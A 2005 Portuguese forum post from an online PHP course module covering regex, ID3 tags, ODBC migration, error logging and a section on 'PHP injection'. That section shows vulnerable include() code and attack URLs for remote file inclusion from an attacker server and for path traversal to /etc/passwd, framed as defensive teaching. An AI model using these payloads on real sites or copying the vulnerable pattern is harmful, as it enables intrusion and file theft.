Fabyo 66 Denunciar post Postado Maio 2, 2005 Curso de PHP online Modulo 10 Introdução o Expressões Regulares (E.R.) parte2 o Estudo sobre PHP Injection o Id3 Tags MP3 e PEAR o Funções ODBC migrando banco Access para o Mysql o Importando emails salvo com separação de virgulas para o banco Mysql o Função getimagesize o Segurança o Log de Erros Expressões Regulares (E.R.) parte2 Os primeiros conceitos relacionados às expressões regulares surgiram no início da década de 40, num artigo que teorizava o funcionamento dos neurônios. A partir daí, nos 25 anos que se seguiram, expressões regulares foram correntemente discutidas no contexto matemático, onde sua teoria foi desenvolvida. A primeira publicação sobre ERs em computadores data de 1968, num artigo de Ken Thompson, denominado ``Regular Expression Search Algorithm''. Com base neste trabalho, ele desenvolveu o qed, um editor que foi a base do ed, editor de texto padrão do UNIX. A idéia por trás das ERs tomara tal dimensão que um dos comandos do ed ``g/Regular Expression/p'' que literalmente significa ``Global Regular Expression Print'', era tão útil que ganhou seu próprio aplicativo: o grep, que por por sua vez, teve melhoramentos e adições em suas ERs dando origem ao egrep (extended grep). Seguindo a filosofia das ERs, outros programas foram aparecendo e incorporando mais e mais expressões, como o awk, o lex e o sed. Assim, para padronizar a implementação e uso das ERs por eles, estas foram inclusas na biblioteca C básica, para qualquer programa utilizar-se delas. O egrep, o grep, o perl e o emacs serão as ferramentas principais utilizadas para exemplificar o uso das ERs, uma vez que estes programas são recentes e suportam ERs da forma mais limpa e flexível, na linha de comando, sem a necessidade de escapar dos caracteres especiais. No entanto, insistimos que nos centralizaremos no raciocínio geral da experessões regulares, sendo que informações específicas de sintaxe devem ser retiradas das páginas dos manuais dos programas que têm suporte para ERs. Continuando com ER, ER é muito usando em sistemas bbcode ou highlight funções para colorir codigos uns exemplos usado em bbcode: $mensagem = preg_replace("/\[b\](.*?)\[\/b\]/si", "<b>\\1</b>", $mensagem); $mensagem = preg_replace("/\[i\](.*?)\[\/i\]/si", "<i>\\1</i>", $mensagem); $mensagem = preg_replace("/\[u\](.*?)\[\/u\]/si", "<u>\\1</u>", $mensagem); $mensagem = ereg_replace(":mellow:", "<img src='mellow.gif' border='0'>", $mensagem); 1 exemplo ira substituir tudo que tiver entre conteudo por <b>conteudo</b> usando as tags html para deixar negrito o texto 2 exemplo ira substituir tudo que tiver entre conteudo por <i>conteudo</i> usando as tags html para deixar em italico o texto 3 exemplo ira substituir tudo que tiver entre conteudo por <b>conteudo</u> usando as tags html para criar uma lista 4 exemplo ira trocar o texto script por uma imagem relacionada a ela os famosos smiles PHP $txt = preg_replace("/[$]([a-zA-Z_])([a-zA-Z0-9_]*)/", "<span style=\"color: blue; font-weight: bold;\">\\0</span>", $txt); esse exemplo acima ira colorir tudo que tiver junto da $+string veja a ER se começar com numero ela nao ira colorir PHP $txt = preg_replace("/'(.*?)'/", "<span style=\"color: red;\">\\0</span>",$txt); esse exemplo acima ira colorir tudo que tiver entre 'string' Referências Bibliográficas 1 Mastering Regular Expressions'', by Jeffrey E. F. Friedl; second edition, 1994, O'Reilly. 2 Expressões Regulares '', por Aurélio M. Jargas; Revista do Linux, 2000 n.o 3, Comunidade Linux Brasileira. 3 Expressões Regulares 2'', by Aurélio M. Jargas; Revista do Linux, 2000 n.o 7, Comunidade Linux Brasileira. 4 http://aurelio.net/er Aurélio M. Jargas Estudo sobre PHP Injection Hoje em dia, é comum a utilização de linguagens como o PHP para construção de portais e sites dinâmicos em todo o mundo. Essa técnica oferece um meio de interagir com o Web site e outros usuários, tendo um meio de troca de informações, notícias,etc. O maior problema desses sites dinâmicos são as diversas maneiras de se explorar o sistema. Explorar uma brecha no sistema a partit de um site rodando arquivos PHP pode se intitular PHP injection. Como o próprio nome ja diz, injeção de Código em PHP, mas antes de mostrar como fazer, vamos entender por que e como essa brecha acontece. No PHP temos um recurso chamado include, o qual nos permite incluir um arquivo inteiro dentro de uma página ja pronta. É muito usado em páginas nas quais existe um layout pré-definido e o conteúdo central é dinâmico. exemplo 1: <html> <head> </head> <body> <?php include "arquivo.php"; ?> </body> </html> Como todo mundo sabe quando a página acima for processada pelo servidor Web, todo o conteúdo do arquivo.php será processado pelo servidor e colocano no exemplo 1. Com isso vamos ao que interessa, a função include permite que façamos inclusões remotas, ou seja poderemos incluir arquivos no código PHP, mesmo que estes não estejam no servidor onde a página se encontra. exemplo: PHP <?php include "http://site.com.br/pagina.php"; ?> O importante dessas explicações é para você saber proteger melhor seu site e se prevenir de futuros ataques deixando seu sistema mais seguro mas não use essas informações para tirar proveito, nem para invadir outro site, sabia que isso é crime ,e tenha sempre a informação sobre segurança para se proteger e aprender mais sobre segurança. Agora vamos ver como como injetar um código malisioso na página a ser invadida. Muitos programadores hoje não aprendem ou não dao muita importancia para segurança. Geralmente a função include é usada para agilizar a exibição de uma página. exemplo 2: pagina.php PHP <html> <head> </head> <body> <?php if(isset($_GET["corpo"])) { include $_GET["corpo"]; } ?> </body> </html> Esse exemplo acima ira incluir uma página por exemplo a arquivo.php assim que ela for inserida pela url exemplo: http://pagina.php?corpo=arquivo.php para injetar um código malicioso nessa página é só fazer assim: http://pagina.php?corpo=http://seusite.com.br/script.php uma maneira de se proteger contra esse ataque é tirando a extensão para ser incluida exemplo: exemplo 3: PHP pagina.php <html> <head> </head> <body> <?php if(isset($_GET["corpo"])) { include $_GET["corpo"].".php"; } ?> </body> </html> agora essa página só aceita arquivos passados sem extensão por exemplo: http://pagina.php?corpo=arquivo mas ainda da para injetar um código malicioso desse modo acima o o script do atacante seria processado no próprio servidor e passado só o resultado para a maquina que pretende invadir e não é isso que nós queremos, o importante é que seja processado o script do atacante no próprio servidor da vitima. por isso não vamos mais usar extensão .php, vamos usar qualquer outra que não seja processada pelo servidor que vamos injetar o exploit . Vamos usar .gif, mas pode usar qualquer outra extensão Agora para burlar o exemplo 3 usaremos: http://sitedavitima.com.br?corpo=http://servidor_atacante/xpl.gif? com esse ponto de interrogação logo após xpl.gif ,conseguiremos o desejado antes de fazer a inclusão ficaria assim : http://sitedavitima.com.br?corpo=http://servidor_atacante/xpl.gif?.php Tudo que tiver depois do ponto de interrogação será descartado pelo servidor do atacante sendo possivel assim descarregar o xpl.gif para dentro do servidor alvo. outra forma que usam o include é assim: exemplo 4: PHP <?php include ("var/www/htdocs/http/".$_GET["corpo"]); ?> agora não conseguiremos mais injetar nenhum script pois se tentarmos daria erro porque ele não conseguiu achar o caminho certo mas ainda da pra tirar alguma vantagem dessa situação se for servidor linux vamos fazer assim: http://site_vitima.com.br?corpo=../../../etc/passwd o include ficaria assim: exemplo 5 PHP <?php include ("var/www/htdocs/http/../../../etc/passwd"); ?> Permitindo assim ler qualquer arquivo no servidor no qual tenhamos permissão para isso. apenas arquivo com extensão .php não conseguiremos ler nesse diretorio fica todos os usuários do computador. Bom vamos parar por aqui porque não quero treinar nenhum usuario para ser hacker e sim aprender mais sobre segurança mas fique atento sites sem proteção o atacante pode visualizar senhas e pastas que você não esperava que ele veria proteja seus diretorios e reescreva ses scripts para melhorar a segurança, hoje em dia o register_globals deixou de ser setado pra on no php.ini para off, por motivos de segurança, com o register_globals = on da para invadir sites pelo login, injetar códigos malisiosos muito mais facil ,resumindo register_globals = on deixa uma brecha enorme na sua segurança é a mesma coisa você reforçar sua porta colocando cadeados fechaduras fortes, mas a casa ta sem paredes o ladrão entra sem passar pela porta, e os tecnicos do php aconselham a nunca mais usar o register_globals = on Fique atento também contra sql injection , ja não vou falar dele pois vocês devem conhecer bastante sobre isso bons estudos. Id3 Tags MP3 e PEAR Para usar a função do php para manipular as tags mp3 você precisa descomentar a linha extension=php_id3.dll do php.ini e reiniciar o servidor, recomendo instalar também os serviços do PEAR ,PEAR quer dizer pêra e até seu simbolo é a fruta pêra. PEAR, o repositório do PHP de aplicação e extensão (originalmente, Extensão do PHP e Repositório de Add-on) são as versões das classes da fundação do PHP, e talvez cresçam no futuro para ser um dos caminhos principais para distribuir o PHP em ambas extensões, C e PHP entre os desenvolvedores. O PEAR nasceu em discussões realizadas nas PHP Developers' Meeting-PMD (Reuniões dos Desenvolvedores do PHP-RDP) realizada em Janeiro de 2000 em Tel Aviv. Foi criada por Sitg S. Bakken, e é dedicada à sua primeira filha, Malin Bakken. Desde o começo de 2000, o PEAR cresceu para ser um grande, e significativo projeto com um largo número de desenvolvedores trabalhando em executar tarefas comuns, funcionalidades reusáveis para o benefício de toda a comunidade PHP. Hoje em dia o PEAR incluí acesso à base de dados, cache de conteúdo, calculações matemáticas, eCommerce e muito mais. Mais informação sobre o PEAR pode ser encontrada em http://pear.php.net/manual Com essa função do php para manipular o mp3 você conseguirá pegar informações das musicas mp3 como por exemplo titulo da musica nome do artista, album, genero musical, ano do cd e número da musica. e vai poder também editar essas informações dos arquivos .mp3 funções do php para manipular o mp3: id3_get_genre_id -- Você fornece o nome do genero e essa função retorna o numero do genero da musica por exemplo id3_get_genre_id("Rock") = 17 id3_get_genre_list -- Pega a lista de todos os generos e coloca um array numero e nome do genero id3_get_genre_name -- Você fornece o numero do genero e essa função retorna o nome do genero da musica por exemplo id3_get_genre_id(17) = Rock id3_get_tag -- Pega todas informações da tag mp3 e passa para um array id3_get_version -- Pega a versão do id3 id3_remove_tag -- Remove as tags do mp3 id3_set_tag -- Atualiza as tags do mp3 Exemplo 1. id3_get_genre_id() PHP <?php $id = id3_get_genre_id("Alternative"); echo $id; ?> resultado: 20 Exemplo 2. id3_get_genre_list() PHP <?php $genres = id3_get_genre_list(); print_r($genres); ?> Resultado: Array ( [0] => Blues [1] => Classic Rock [2] => Country [3] => Dance [4] => Disco [5] => Funk [6] => Grunge [7] => Hip-Hop [8] => Jazz [9] => Metal [10] => New Age [11] => Oldies [12] => Other [13] => Pop [14] => R&B [15] => Rap [16] => Reggae [17] => Rock [18] => Techno [19] => Industrial [20] => Alternative [21] => Ska [22] => Death Metal [23] => Pranks [24] => Soundtrack [25] => Euro-Techno [26] => Ambient [27] => Trip-Hop [28] => Vocal [29] => Jazz+Funk [30] => Fusion [31] => Trance [32] => Classical [33] => Instrumental [34] => Acid [35] => House [36] => Game [37] => Sound Clip [38] => Gospel [39] => Noise [40] => Alternative Rock [41] => Bass [42] => Soul [43] => Punk [44] => Space [45] => Meditative [46] => Instrumental Pop [47] => Instrumental Rock [48] => Ethnic [49] => Gothic [50] => Darkwave [51] => Techno-Industrial [52] => Electronic [53] => Pop-Folk [54] => Eurodance [55] => Dream [56] => Southern Rock [57] => Comedy [58] => Cult [59] => Gangsta [60] => Top 40 [61] => Christian Rap [62] => Pop/Funk [63] => Jungle [64] => Native US [65] => Cabaret [66] => New Wave [67] => Psychadelic [68] => Rave [69] => Showtunes [70] => Trailer [71] => Lo-Fi [72] => Tribal [73] => Acid Punk [74] => Acid Jazz [75] => Polka [76] => Retro [77] => Musical [78] => Rock & Roll [79] => Hard Rock [80] => Folk [81] => Folk-Rock [82] => National Folk [83] => Swing [84] => Fast Fusion [85] => Bebob [86] => Latin [87] => Revival [88] => Celtic [89] => Bluegrass [90] => Avantgarde [91] => Gothic Rock [92] => Progressive Rock [93] => Psychedelic Rock [94] => Symphonic Rock [95] => Slow Rock [96] => Big Band [97] => Chorus [98] => Easy Listening [99] => Acoustic [100] => Humour [101] => Speech [102] => Chanson [103] => Opera [104] => Chamber Music [105] => Sonata [106] => Symphony [107] => Booty Bass [108] => Primus [109] => --- Groove [110] => Satire [111] => Slow Jam [112] => Club [113] => Tango [114] => Samba [115] => Folklore [116] => Ballad [117] => Power Ballad [118] => Rhytmic Soul [119] => Freestyle [120] => Duet [121] => Punk Rock [122] => Drum Solo [123] => Acapella [124] => Euro-House [125] => Dance Hall [126] => Goa [127] => Drum & Bass [128] => Club-House [129] => Hardcore [130] => Terror [131] => Indie [132] => BritPop [133] => Negerpunk [134] => Polsk Punk [135] => Beat [136] => Christian Gangsta [137] => Heavy Metal [138] => Black Metal [139] => Crossover [140] => Contemporary C [141] => Christian Rock [142] => Merengue [143] => Salsa [144] => Thrash Metal [145] => Anime [146] => JPop [147] => SynthPop ) Exemplo 3. id3_get_genre_name() PHP <?php $genre = id3_get_genre_name(20); echo $genre; ?> Resultado: Alternative Exemplo 4. id3_get_tag() PHP <?php $tag = id3_get_tag( "example.mp3" ); print_r($tag); ?> Resultado: Array ( [title] => DN-38416 [artist] => Re:\Legion [album] => Reflections [year] => 2004 [genre] => 19 ) Nota: Essa função id3_get_tag() só suporta id3 1.0 e 1.1 Exemplo 5. id3_get_version() PHP <?php $version = id3_get_version( "example.mp3" ); if ($version == ID3_V1_0) { echo "Versao 1.x"; } if ($version == ID3_V1_1) { echo "Versao 1.1"; } if ($version == ID3_V2) { echo "Versao 2.x"; } ?> Exemplo 6. id3_remove_tag() example PHP <?php $result = id3_remove_tag( "example.mp3", ID3_V1_0 ); if ($result === true) { echo "Tag removida com sucesso"; } ?> Exemplo 7. id3_set_tag() PHP <?php $data = array( "title" => "Re:Start", "artist" => "Re:\Legion", "comment" => "A nice track" ); $result = id3_set_tag( "example.mp3", $data, ID3_V1_0 ); if ($result === true) { echo "Tag foi atualizada com sucesso"; } ?> Se quiserem conferir mais detalhes eu fiz uma função que lista só as mp3 que tiver no diretorio e ainda tem um player para tocar as musicas, mostra o tamanho das mp3 e tem a opção de editar as tags mp3 só clicar no simbolo do lado do nome coloquei uma imagem do winamp, esse script que eu fiz está no laboratorio de scripts podem utilizarem ,modificarem e melhorarem, fiquem a vontade, a só lembrando essa imagem que fica do lado do nome das mp3 no diretorio esta em mime e você vai visualizar ela normalmente fiz isso para não precisar de eu colocar a imagem no servidor pra download e para vocês aprenderem mais uma novidade. Funções ODBC migrando banco Access para o Mysql odbc_connect -- Conecta com uma fonte de dados resource odbc_connect ( string dsn, string user, string password [, int cursor_type]) $con = @odbc_connect("DRIVER=Microsoft Access Driver (*.mdb);DBQ=C:/root/db.mdb;", "usuario", "senha"); odbc_error -- Obtém o último código de erro odbc_errormsg -- Obtém a última mensagem de erro PHP if( odbc_error() == true) { echo odbc_errormsg(); exit(); } odbc_field_name -- Obtém o nome da coluna odbc_field_num -- Retorna o número da coluna odbc_field_type -- Tipo de dados de um campo odbc_foreignkeys -- Retorna uma lista de chaves estrangeiras na tabela especificada ou uma lista de chaves estrangeiras em outras tabelas que se referem a chave primária na tabela especificada odbc_num_fields -- Número de colunas em um resultado odbc_num_rows -- Número de linhas em um resultado odbc_result -- Obtém dados do resultado odbc_tables -- Obtém uma lista dos nomes das tabelas guardadas em um fonte de dados especifica. Retorna um identficador de resultado contendo a informação. odbc_primarykeys -- Retorna um identificador de resultados que pode ser usado para obter os nomes de colunas que inclui a chave primária para a tabela Exemplo que eu fiz para listar todas as tabelas e todos os campos e tipo de campo e tamanho de um banco Access PHP <?php $con = @odbc_connect("DRIVER=Microsoft Access Driver (*.mdb);DBQ=C:/root/db.mdb;", "", ""); if( odbc_error() == true) { echo odbc_errormsg(); exit(); } $lista_tabelas = odbc_tables($con); $i = 1; while ($l = odbc_fetch_array($lista_tabelas)) { if($l["TABLE_TYPE"] == "TABLE") { $table[$i] = $l["TABLE_NAME"]; $tabelas[$i] = odbc_exec($con, "select * from ". $l["TABLE_NAME"]); $num_campos[$i] = odbc_num_fields($tabelas[$i]); echo "<li>[$table[$i]]<br /></li>"; for($j = 1; $j <= $num_campos[$i]; $j++) { echo odbc_field_name($tabelas[$i], $j) ." ".odbc_field_type($tabelas[$i], $j )."(".odbc_field_len($tabelas[$i], $j).")<br />"; echo odbc_field_scale($tabelas[$i], $j); } echo "<hr>"; $i++; } } ?> resultado: o[usuarios]//nome da tabela id COUNTER(10)//nome do campo, tipo e tamanho nome VARCHAR(50)//nome do campo, tipo e tamanho senha VARCHAR(32)//nome do campo, tipo e tamanho email VARCHAR(64)//nome do campo, tipo e tamanho data_nasci DATETIME(19)//nome do campo, tipo e tamanho data_cad DATETIME(19)//nome do campo, tipo e tamanho o[empresas]//nome da tabela id COUNTER(10) empresa VARCHAR(50) contato VARCHAR(50) com essas funções você consegue listar todas as tabelas, campos, tipos e tamanhos, qual o campo é o primary key etc... então é só usar a criatividade e montar uma função para migrar do banco Access para o Mysql ou ate outro banco qualquer é muito facil fazer essas migrações eu ja fiz e sempre faço quando preciso , não uso programas pra migrar de banco só uso o PHP você pode ver que você tem tudo na mão nome das tabelas, campos tipo,etc... você consegue qualquer informação basta salvar no banco mysql da pra você fazer scripts para migrar de qualquer banco pra outro banco desde que o php suporte o acesso dele, mas a grande maioria o PHP consegue acessar Importando emails salvo com separação de virgulas para o banco Mysql Esse exemplo que eu vou passar mostra como pegar emails salvo com separação de virgula e apagar os emails repetidos e tirar os espaços,deixar tudo em minusculo e salvar no banco mysql muito usado em serviços de news letter PHP <?php $linhas = file("emails.txt"); function organiza($txt) { $txt = trim($txt); $txt = strtolower($txt); return $txt; } for($i = 0; $i < count($linhas); $i++){ $separador = explode(";", $linhas[$i]); for($j = 0; $j < count($separador); $j++){ $emails[] = organiza($separador[$j])."\n"; } } array_unique($emails);//apaga os emails repetidos sort($emails, SORT_STRING);//organiza os emails por ordem alfabetica print_r($emails); ?> no lugar do print_r é só você fazer a conexao com o banco de dados e dentro do loop ir salvando os dados para o banco Função getimagesize Muita gente não conhece mas essa função simples é muito util para você validar uma imagem ,e você pode também pegar as dimensões da imagem e o tipo mime real da imagem $size = getimagesize("foto.jpg"); resultado: Array ( [0] => 192 [1] => 32 [2] => 1 [3] => width="192" height="32" [bits] => 8 [channels] => 3 [mime] => image/gif ) Segurança Escondendo o PHP Em geral, segurança por obscuridão é uma das mais fracas formas de segurança. Mas em alguns casos, cada pequeno bit extra de segurança é desejável. Algumas poucas técnicas simples podem ajudar a esconder o PHP, possivelmente atrasando um invasor que está tentando descobrir fraquezas em seu sistema. Setando expose_php = off em seu arquivo php.ini, você reduz a quantidade de informação disponível para ele. Uma outra tática é configurar os servidores tais como apache para interpretar diferentes tipos de arquivos através do PHP, ou com uma diretiva .htaccess, ou na própria configuração do apache. Você pode então usar extensões de arquivos enganadoras: Escondendo PHP fazendo parecer com outra linguagem # Fazer o código PHP parecer com outros tipos de códigos AddType application/x-httpd-php .asp .py .pl Ou escondê-lo completamente: Exemplo 15-19. Usando tipos desconhecidos para extensões do PHP # Fazer o código PHP parecer com tipos de códigos desconhecidos AddType application/x-httpd-php .bop .foo .133t Ou escondê-lo no código HTML, que tem baixa chance de ser atingido porque todos os HTML serão interpretados pelo PHP: Exemplo 15-20. Usando tipos de HTML para extensões do PHP # Fazer todo o código parecer com HTML AddType application/x-httpd-php .htm .html Para este exemplo trabalhar efetivamente, você deve renomear todos os seus arquivos PHP com as extensões acimas. Apesar dessa ser a forma de segurança através obscuridão, ela é a medida menos preventiva e com algumas desvantagens. Log de Erros error_log() error_log -- Envia uma mensagem de erro para algum lugar Descrição int error_log ( string mensagem [, int mensagem_type [, string destination [, string extra_headers]]]) Envia uma mensagem de erro para o log de um servidor, para uma porta TCP ou para um arquivo. O primeiro parâmetro, mensagem, é a mensagem de erro que deve ser logada. O segundo parâmetro, mensagem_type diz para onde a mensagem deve ir: Tabela 1. Tipo de logs de error_log() 0 mensagem é enviada para o sistema de log do PHP, usando o sistema de log do sistema operacional ou para um arquivo, dependendo do que estiver definido na diretiva error_log 1 mensagem é enviado para o endereço de email em destination. Este é o unico tipo de mensagem onde o quarto parâmetro extra_headers é usado. Este tipo de mensagem usa a mesma função interna que a função mail() usa. 2 mensagem é enviada através de conexão de debug do PHP. Esta opção só esta disponível se o debug remoto estiver ativado . Neste caso, o parâmetro destination define o nume do servidor ou endereço IP e opcionalmente, o número da porta, do socket recebendo a informação de debug. 3 mensagem é adicionada ao arquivo destination. exemplo de como criar um arquivo de log de erro: PHP <?php $data = date("d/m/Y H:i"); error_log($data."|".mysql_errno()."\n", 3, "erros.log"); ?> será criado um arquivo com o nome de erros.log com o conteudo: 30/04/2005 18:33|1064 data hora|numero do erro do mysql mas você pode usar esse log de erro em qualquer sistema que você quiser error_reporting -- Define quais erros serão reportados A função error_reporting() define a diretiva error_reporting em tempo de execução. O PHP tem vários níveis de erros, usando esta função você pode definir o nível durante a execução do seu script. error_reporting() define o nível de erros que o PHP irá reportar, e retorna o nível antigo. O parâmetro nível pode usar um bitmask, ou constantes. É fortemente recomendado que você use constantes para assegurar compatibilidade com futuras versões. Como níveis de erros podem ser adicionados, o intervalo das constantes pode crescer, então os níveis de erros indicados anteriormente por inteiros pode não funcionar como esperado. Alguns exemplos de uso: Exemplo 1. Exemplos error_reporting() PHP <?php // Desativa o relatório de todos os erros error_reporting(0); // Reporta erros simples error_reporting(E_ERROR | E_WARNING | E_PARSE); // Reportar E_NOTICE pode ser bom também (para reportar variáveis não iniciadas // ou eros de digitação em nomes de variáveis ...) error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); // Reportar todos os erros exceto E_NOTICE // Este é o valor padrão no php.ini error_reporting(E_ALL ^ E_NOTICE); // Reporta todos os erros (bitwise 63 deve ser usado no PHP 3) error_reporting(E_ALL); // O mesmo que error_reporting(E_ALL); ini_set ('error_reporting', E_ALL); ?> Tabela 1. Constantes de nível e valores de bit de error_reporting(). Valor Constante 1 E_ERROR 2 E_WARNING 4 E_PARSE 8 E_NOTICE 16 E_CORE_ERROR 32 E_CORE_WARNING 64 E_COMPILE_ERROR 128 E_COMPILE_WARNING 256 E_USER_ERROR 512 E_USER_WARNING 1024 E_USER_NOTICE 2047 E_ALL 2048 E_STRICT Atenção Debug remoto via TCP/IP é do PHP 3 e não esta disponível no PHP 4. Exemplo 1. Exemplos de error_log() PHP <?php // Envia uma notificação para o log do servidor // se não pudermos conectar ao banco de dados. if (!Ora_Logon($username, $password)) { error_log("Oracle database not available!", 0); } // Avisa o administrados se nós ficarmos sem FOO if (!($foo = allocate_new_foo())) { error_log("Big trouble, we're all out of FOOs!", 1, "operator@example.com"); } // outros meios de usar calling error_log(): error_log("You messed up!", 2, "127.0.0.1:7000"); error_log("You messed up!", 2, "loghost"); error_log("You messed up!", 3, "/var/tmp/my-errors.log"); ?> Erros e Logs Introdução Estas são funções para lidar com erros e logs. Elas permitem a você definir a suas próprias regras para manusear erros, assim como para modificar a maneira com que é efetuado o log de erros. Isto permite a você melhorar e adaptar as suas necessidades os avisos de erro. Com as funções de log, você pode mandar mensagens diretamente para outras máquinas, para um email (ou email para um pager), para os logs do sistema, etc, assim você pode seletivamente logar e monitorar as partes mais importantes das suas aplicações e websites. As funções de erro permitem você configurar quais níveis de erro devem ser reportados e o tipo de resposta que será dado, indo desde simples avisos até as funções retornadas durante os erros. Requisitos Nenhuma biblioteca externa é necessária para compilar esta extensão. Instalação Não há nenhuma instalação necessária para utilizar estas funções, elas fazem parte do núcleo do PHP. Configuração durante execução O comportamento dessas funções podem ser modificado pelas configurações do php.ini. Tabela 1. Opções de configurações de erros e log Nome Padrão Modificável error_reporting E_ALL & ~E_NOTICE PHP_INI_ALL display_errors "1" PHP_INI_ALL display_startup_errors "0" PHP_INI_ALL log_errors "0" PHP_INI_ALL log_errors_max_len "1024" PHP_INI_ALL ignore_repeated_errors "0" PHP_INI_ALL ignore_repeated_source "0" PHP_INI_ALL report_memleaks "1" PHP_INI_SYSTEM track_errors "0" PHP_INI_ALL html_errors "1" PHP_INI_ALL docref_root "" PHP_INI_ALL docref_ext "" PHP_INI_ALL error_prepend_string NULL PHP_INI_ALL error_append_string NULL PHP_INI_ALL error_log NULL PHP_INI_ALL warn_plus_overloading NULL PHP_INI?? Para maiores detalhes e definição das constantes do PHP_INI_* veja ini_set(). Breve descrição das diretivas de configuração. error_reporting integer Define o nível de erros para reportar. O parâmetro pode ser um inteiro ou uma constante. Os níveis de erros para reportar estão descritos em Constantes Predefinidas, e no php.ini. Para definir em tempo de execução, use a função error_reporting(). Veja também a diretiva display_errors. No PHP 4 e PHP 5 o valor padrão é E_ALL & ~E_NOTICE. Esta definição não mostra erros de nível E_NOTICE. Você deve querer mostra-los durante o desenvolvimento. Nota: Ativando E_NOTICE durante o desenvolvimento tem alguns beneficios. Para o proposito de eliminar erros: mensagens NOTICE irão avisar você sobre possiveis erros em seu código. Por exemplo, o uso de valores não definidos é avisado. É extremamente útil para encontrar erros de digitação e economisar tempo na correção de erros. As mensagens NOTICE irão avisar a você sobre mal estilo. Por exemplo, $arr[item] é melhor que seja escrito como $arr['item'] já que o PHP irá tratar "item" como uma constante. Se não for uma constante, o PHP irá considerar como uma string de índice para a matriz. Nota: No PHP 5 um novo nível de erro E_STRICT esta disponível. Já que E_STRICT não esta incluída em E_ALL você deve explicitamente ativar este nível de erro. Ativar E_STRICT durante o desenvolvimento tem alguns beneficios. Mensagem STRICT irão ajudar a você a utilizar o metodo mais recente de codificação, por exemplo, avisar você sobre funções obsoletas. No PHP 3, a definição padrão é (E_ERROR | E_WARNING | E_PARSE), indicando a mesma coisa. Note, entretanto, desde que constantes não são suportadas no php3.ini do PHP 3, a definição do nível de erros para reportar deve ser númerica, neste caso 7. display_errors boolean Isto determina quando os erros devem ser mostrados como parte da saída ou se devem ser escondidos do usuário. Nota: Isto serve para suportar o seu desenvolvimento e nunca deve ser usado em sistemas de produção (ex. sistemas conectados a internet). display_startup_errors boolean Mesmo quando display_errors esta em on, erros que aconteçam durante a inicialização do PHP não são mostrados. É fortemente recomendado manter display_startup_errors em off, exceto para procurar erros. log_errors boolean Indica se as mensagens de erro do script devem ficar no log de erros do servidor ou em error_log. Esta opção depende do servidor. Nota: Você é fortemente avisado para usar o log de erros ao invés de mostra-los em web sites de produção. log_errors_max_len integer Define o limite de tamanho da mensagem de erro para logar em bytes. Em error_log é adicionada informação sobre a fonte. O padrão é 1024 e 0 permite que não seja estabelecido nenhum limite. ignore_repeated_errors boolean Não loga mensagens repetidas. Erros repetidos devem acontecer no mesmo arquivo na mesma linha enquanto ignore_repeated_source estiver em true. ignore_repeated_source boolean Ignora a fonte da mensagem quando estiver ignorando mensagens repetidos. Quando esta definição ON não irá logar mensagens de erros repetidas de arquivos diferentes ou linhas diferentes. report_memleaks boolean Se este parâmetro estiver em Off, quando acontecerem memory leaks não será mostrado (na saída ou no log). Isto só tem efeito numa compilação de debug, e se error_reporting incluir E_WARNING na lista de permitidos. track_errors boolean Se ativado, a última mensagem de erro sempre estará disponível na variável $php_errormsg. html_errors boolean Desativa as tags HTML nas mensagens de erro. O novo formato de mensagens de erro em HTML produz mensagens que podem ser clicadas e que direcionam o usuário para uma pagina descrevendo o erro ou a função que causou o erro. Estas referencias são afetadas por docref_root e docref_ext. docref_root string O novo formato de mensagens de erro em HTML produz mensagens que podem ser clicadas e que direcionam o usuário para uma pagina descrevendo o erro ou a função que causou o erro. No caso de paginas de manual você pode baixar o manual na sua língua e definir esta diretiva para a sua cópia local. Se a sua cópia local do manual podur ser acessada por '/manual/' você pode simplesmente usar docref_root=/manual/. Adicionalmente você deve definir docref_ext para ser igual a extensão da sua cópia docref_ext=.html. É possível usar referencias externas. Por exemplo, você pode usar docref_root=http://manual/en/ ou docref_root="http://landonize.it/?how=url&theme=classic&filter=Landon &url=http%3A%2F%2Fwww.php.net%2F" A maior parte do tempo você deve querer que o valor de docref_root termine com uma barra '/'. Mas veja o segundo exemplo acima o qual não tem ou não necessita isso. Nota: Isto é para suportar o seu desenvolvimento já que torna mais fácil encontrar a descrição de uma função. Entretando não deve ser usado em sistemas de produção (ex. sistemas conectados na internet). docref_ext string Veja docref_root. Nota: O valor de docref_ext deve começar com um ponto '.'. error_prepend_string string String para mostrar antes de uma mensagem de erro. error_append_string string String para mostrar após uma mensagem de erro. error_log string O nome do arquivo onde os erros do script serão logados. Se o valor especial syslog é usado, os erros são enviados para o log do sistema. No UNIX, isto indica syslog(3) e no Windows NT isto indica o log do evento. O log de sistema não é suportado no Windows 95. Veja também: syslog(). warn_plus_overloading boolean Se ativado, esta opção faz o PHP mostrar um aviso quando o operador de adição (+) é usado em strings. Isto é para tornar mais fácil encontrar scripts que precisam ser rescritos usando o operador de concatenação (.). Constantes Predefinidas As constantes listadas abaixo estão sempre disponíveis como parte do núcleo do PHP. Nota: Você pode usar estes nomes de constantes no php.ini mas não fora do PHP, como no httpd.conf, aonde você deve usar os valores. Compartilhar este post Link para o post Compartilhar em outros sites
Fabyo 66 Denunciar post Postado Maio 2, 2005 Continuando Tabela 2. Erros e Log Valor Constante Descrição Nota 1 E_ERROR (integer) Erros em tempo de execução fatais. Estes indicam erros que não podem ser recuperados, como problemas de alocação de memória. A execução do script é interrompida. 2 E_WARNING (integer) Avisos em tempo de execução (erros não fatais). A execução do script não é interrompida. 4 E_PARSE (integer) Erro em tempo de compilação. Erros gerados pelo interpretador. 8 E_NOTICE (integer) Notícia em tempo de execução. Indica que o script encontrou alguma coisa que pode indicar um erro, mas que também possa acontecer durante a execução normal do script. 16 E_CORE_ERROR (integer) Erro fatal que acontece durante a inicialização do PHP. Este é parecido com E_ERROR, exceto que é gerado pelo núcleo do PHP. Somente PHP 4 32 E_CORE_WARNING (integer) Avisos (erros não fatais) que aconteçam durante a inicialização do PHP. Este é parecido com E_WARNING, exceto que é gerado pelo núcleo do PHP. Somente PHP 4 64 E_COMPILE_ERROR (integer) Erro fatal em tempo de compilação. Este é parecido com E_ERROR, exceto que é gerado pelo Zend Scripting Engine. Somente PHP 4 128 E_COMPILE_WARNING (integer) Aviso em tempo de compilação. Este é parecido com E_WARNING, exceto que é geredo pelo Zend Scripting Engine. Somente PHP 4 256 E_USER_ERROR (integer) Erro gerado pelo usuário. Este é parecido com E_ERROR, exceto que é gerado pelo código PHP usando a função trigger_error(). Somente PHP 4 512 E_USER_WARNING (integer) Aviso gerado pelo usuário. Este é parecido com E_WARNING, exceto que é gerado pelo código PHP usando a função trigger_error(). Somente PHP 4 1024 E_USER_NOTICE (integer) Notícia gerada pelo usuário. Este é parecido com E_NOTICE, exceto que é gerado pelo 